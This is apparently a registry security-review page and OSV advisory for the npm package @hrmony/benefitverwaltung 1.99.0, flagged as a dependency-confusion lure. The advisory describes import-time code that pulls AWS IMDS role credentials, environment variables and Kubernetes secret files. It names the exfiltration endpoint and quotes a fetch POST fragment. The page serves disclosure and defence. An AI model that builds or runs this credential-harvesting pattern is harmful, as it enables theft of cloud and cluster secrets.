registry / @hrmony/benefitverwaltung / 1.99.0

@hrmony/benefitverwaltung@1.99.0

AI Security Review

scanned 9d ago · by lpm-firewall-ai

The main module harvests cloud metadata, environment variables, and Kubernetes secret files, then sends them to an external host. The behavior activates on module import.

Static reason

One or more suspicious static signals were detected.

Trigger

Importing or loading the package main entrypoint.

Impact

Cloud credentials, instance data, environment secrets, and Kubernetes secrets can be exfiltrated.

Mechanism

Top-level code invokes AWS and local secret collection functions and posts their results with fetch.

Attack narrative

Loading the declared main entrypoint sends a request to an external exporter and attempts to collect AWS instance metadata. It requests IAM role credentials and user data, serializes that information, and posts it to the exporter. It also gathers every process environment variable, recursively reads Kubernetes secret files, and posts those values. The collection calls are executed at module import with errors suppressed.

AI rationale

The entrypoint performs active, unconsented credential and secret harvesting followed by external transmission. This is concrete data exfiltration, not a package-aligned capability.

Evidence

package.jsonindex.js/var/run/secrets/

Network endpoints2

hrnmn.dd.h4x.tv/save_instance_info_from_pkge_hrmony_benefitverwaltung169.254.169.254

OSV advisory

On top-level import, the package's main module POSTs an initial identifying beacon (body {"c53":"hello"}) to the hardcoded endpoint https://hrnmn.dd.h4x.tv/save_instance_info_from_pkge_hrmony_benefitverwaltung, then performs three concrete harvest steps and exfiltrates each to the same host: (1) an IMDSv2 request flow against 169.254.169.254 that reads instance identity, enumerates IAM role names under /iam/security-credentials/, and fetches the temporary AWS access key ID, secret access key, and session token for each role; (2) a full enumeration of process.env via Object.entries(process.env) into an envs object; (3) a recursive read of /var/run/secrets/ collecting Kubernetes-mounted service-account tokens and secret files. The collected data is sent via fetch(EXPORTER_URL, {method: 'POST', body: JSON.stringify(...)}). The destination domain h4x.tv is not associated with the @hrmony scope or any legitimate benefit-administration service. The package also declares a runtime dependency on @hrmony/kit-5 ^1.0.0 within its own scope while shipping only exfiltration code as its main, consistent with a dependency-confusion lure targeting an internal @hrmony namespace.

@hrmony/benefitverwaltung@1.99.0

AI Security Review

OSV advisory

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Source & flagged code